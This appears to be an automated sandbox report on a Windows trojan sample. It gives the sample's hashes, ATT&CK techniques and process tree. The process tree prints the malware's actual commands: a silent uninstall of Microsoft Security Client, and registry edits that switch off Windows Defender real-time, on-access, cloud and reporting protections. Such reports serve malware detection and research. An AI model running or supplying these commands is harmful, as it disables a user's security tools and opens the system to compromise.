20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b

General

Target

20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe
Size

67KB
MD5

e3bc953a18fe466cb008184a45c6c858
SHA1

bcf4ffa92efac170177e5b8f9199bd8cf8c8d380
SHA256

20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b
SHA512

f0fd176cce8de8766f34b7d94e428173bdf83fa038611573aabb97dc78c01db3231aadd6fb1e8f0ebea1028238ded4eb8394db307f54fd9bb9eac8443936dc97

Score

10^/10

evasion trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Suspicious use of WriteProcessMemory 56 IoCs

Processes:

20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1068 wrote to memory of 288	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 288	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 288	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 288	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1656	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1656	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1656	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1656	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1904	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1904	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1904	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1904	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1988	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1988	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1988	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1988	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 436	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 436	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 436	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 436	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1988 wrote to memory of 532	1988	cmd.exe	reg.exe
PID 1988 wrote to memory of 532	1988	cmd.exe	reg.exe
PID 1988 wrote to memory of 532	1988	cmd.exe	reg.exe
PID 1988 wrote to memory of 532	1988	cmd.exe	reg.exe
PID 1068 wrote to memory of 556	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 556	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 556	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 556	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 816	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 816	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 816	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 816	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1028	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1028	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1028	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1028	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 556 wrote to memory of 1512	556	cmd.exe	reg.exe
PID 556 wrote to memory of 1512	556	cmd.exe	reg.exe
PID 556 wrote to memory of 1512	556	cmd.exe	reg.exe
PID 556 wrote to memory of 1512	556	cmd.exe	reg.exe
PID 436 wrote to memory of 600	436	cmd.exe	reg.exe
PID 436 wrote to memory of 600	436	cmd.exe	reg.exe
PID 436 wrote to memory of 600	436	cmd.exe	reg.exe
PID 436 wrote to memory of 600	436	cmd.exe	reg.exe
PID 1068 wrote to memory of 1492	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1492	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1492	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 1068 wrote to memory of 1492	1068	20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe	cmd.exe
PID 816 wrote to memory of 2036	816	cmd.exe	reg.exe
PID 816 wrote to memory of 2036	816	cmd.exe	reg.exe
PID 816 wrote to memory of 2036	816	cmd.exe	reg.exe
PID 816 wrote to memory of 2036	816	cmd.exe	reg.exe
PID 1028 wrote to memory of 1472	1028	cmd.exe	reg.exe
PID 1028 wrote to memory of 1472	1028	cmd.exe	reg.exe
PID 1028 wrote to memory of 1472	1028	cmd.exe	reg.exe
PID 1028 wrote to memory of 1472	1028	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe
"C:\Users\Admin\AppData\Local\Temp\20f74016f44481b525fa57d676d52355f86b4f175350eebeb6e9a9215b36b45b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1068

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Program Files\Microsoft Security Client\Setup.exe" /x /s
2⤵
PID:288

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Program Files(x86)\Microsoft Security Client\Setup.exe" /x /s
2⤵
PID:1656

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Program Files\Microsoft Security Client\Setup.exe" /x /s
2⤵
PID:1904

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
3⤵
PID:532

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:436

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
3⤵
PID:600

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:556

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
3⤵
PID:1512

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpCloudBlockLevel" /t REG_DWORD /d "0" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:816

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpCloudBlockLevel" /t REG_DWORD /d "0" /f
3⤵
PID:2036

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:1028

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
3⤵
PID:1472

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
2⤵
PID:1492

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Disabling Security Tools

1

T1089

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/288-0-0x0000000000000000-mapping.dmp

Download
memory/436-4-0x0000000000000000-mapping.dmp

Download
memory/532-5-0x0000000000000000-mapping.dmp

Download
memory/556-6-0x0000000000000000-mapping.dmp

Download
memory/600-10-0x0000000000000000-mapping.dmp

Download
memory/816-7-0x0000000000000000-mapping.dmp

Download
memory/1028-8-0x0000000000000000-mapping.dmp

Download
memory/1472-13-0x0000000000000000-mapping.dmp

Download
memory/1492-11-0x0000000000000000-mapping.dmp

Download
memory/1512-9-0x0000000000000000-mapping.dmp

Download
memory/1656-1-0x0000000000000000-mapping.dmp

Download
memory/1904-2-0x0000000000000000-mapping.dmp

Download
memory/1988-3-0x0000000000000000-mapping.dmp

Download
memory/2036-12-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing